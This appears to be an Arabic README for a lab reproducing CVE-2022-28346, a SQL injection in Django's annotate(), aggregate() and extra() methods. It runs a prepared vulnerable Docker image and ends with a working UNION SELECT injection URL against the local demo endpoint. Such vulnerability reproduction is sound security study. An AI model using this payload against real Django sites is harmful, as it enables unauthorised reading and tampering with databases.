
تم العثور على ثغرة في حزمة Django، مما يؤدي إلى حقن SQL. تسمح هذه الثغرة للمهاجم باستخدام قاموس معد يحتوي على استعلامات SQL ضارة لاختراق قاعدة البيانات بالكامل.
تم العثور على خلل في حزمة Django، مما يؤدي إلى حقن SQL. يسمح هذا الخلل للمهاجم باستخدام قاموس معدل يحتوي على استعلامات SQL ضارة لاختراق قاعدة البيانات بالكامل.
ستجد أعلاه في مستودع الكود تقرير التحليل المفصل (PDF) حول CVE-2022-28346.
CVE-2022-28346 هي ثغرة أمنية خطيرة تم تحديدها في إصدارات مختلفة من Django، وهو إطار عمل ويب شهير بلغة Python. تؤثر هذه الثغرة تحديدًا على إصدارات Django 2.2 قبل 2.2.28، و3.2 قبل 3.2.13، و4.0 قبل 4.0.4.
يكمن جوهر المشكلة في طرق QuerySet.annotate() وaggregate() وextra() داخل Django. هذه الطرق عرضة لهجمات حقن SQL عند استخدام أسماء مستعارة للأعمدة مع قاموس معدل (مع توسيع القاموس) كوسائط **kwargs. حقن SQL هو نوع من الهجمات يسمح للمهاجم بالتدخل في الاستعلامات التي يقدمها التطبيق لقاعدة البيانات. يمكن استخدامه لعرض بيانات لا يمكنه استرجاعها عادةً، بما في ذلك بيانات المستخدمين الآخرين، أو أي بيانات أخرى يمكن للتطبيق نفسه الوصول إليها. في بعض الحالات، قد يتمكن المهاجم من تعديل أو حذف هذه البيانات، مما يؤثر على سلامة البيانات.
لإجراء اختبار شامل لهذه الثغرة، تأكد من وجود مساحة خالية كافية على القرص الصلب. يلزم 1.2 جيجابايت على الأقل لإجراء اختبار الثغرة بنجاح.
إذا كان لديك Docker مثبتًا بالفعل، يمكنك تخطي هذا القسم والانتقال مباشرة إلى مجموعة التعليمات التالية.
لبدء اختبار هذه الثغرة، قم بتثبيت Docker:
تحقق من أن Docker يعمل قبل الانتقال إلى الخطوات التالية.
في الطرفية، نفذ الأمر التالي للحصول على صورة docker التي أنشأناها ودفعناها إلى DockerHub:
sudo docker pull marouanekamal/cve-2022-28346:latest

وانتظر حتى تنتهي صورة Docker من السحب. إذا واجهت أي مشاكل، فقد يكون ذلك بسبب اتصالك بالإنترنت؛ يرجى التأكد من أن لديك اتصالاً مستقراً ونشطاً.
بعد انتهاء التثبيت، تحقق من وجود الصورة عن طريق تشغيل الأمر التالي:
sudo docker images

يمكنك الآن تشغيل صورة docker باستخدام الأمر التالي:
sudo docker run -p 8000:8000 --name my_cve_container marouanekamal/cve-2022-28346:latest

الآن الخادم قيد التشغيل ويمكننا استغلال هذه CVE ;)
بعد تشغيل صورة docker، يمكنك الدخول إلى الرابط التالي للتحقق من إمكانية الوصول إلى URL:
http://0.0.0.0:8000/

تظهر الكلمة ok مما يعني أن URL يمكن الوصول إليه وكل شيء يعمل بشكل جيد!
الآن دعونا نهاجم هذه الثغرة باستخدام حقن SQL. اكتب URL التالي للقيام بذلك:
http://0.0.0.0:8000/demo?field=demo.name" FROM "demo_user" union SELECT "1",sqlite_version(),"3" --

تمكنا من تحديد إصدار SQLite المستخدم من قبل الخادم ;)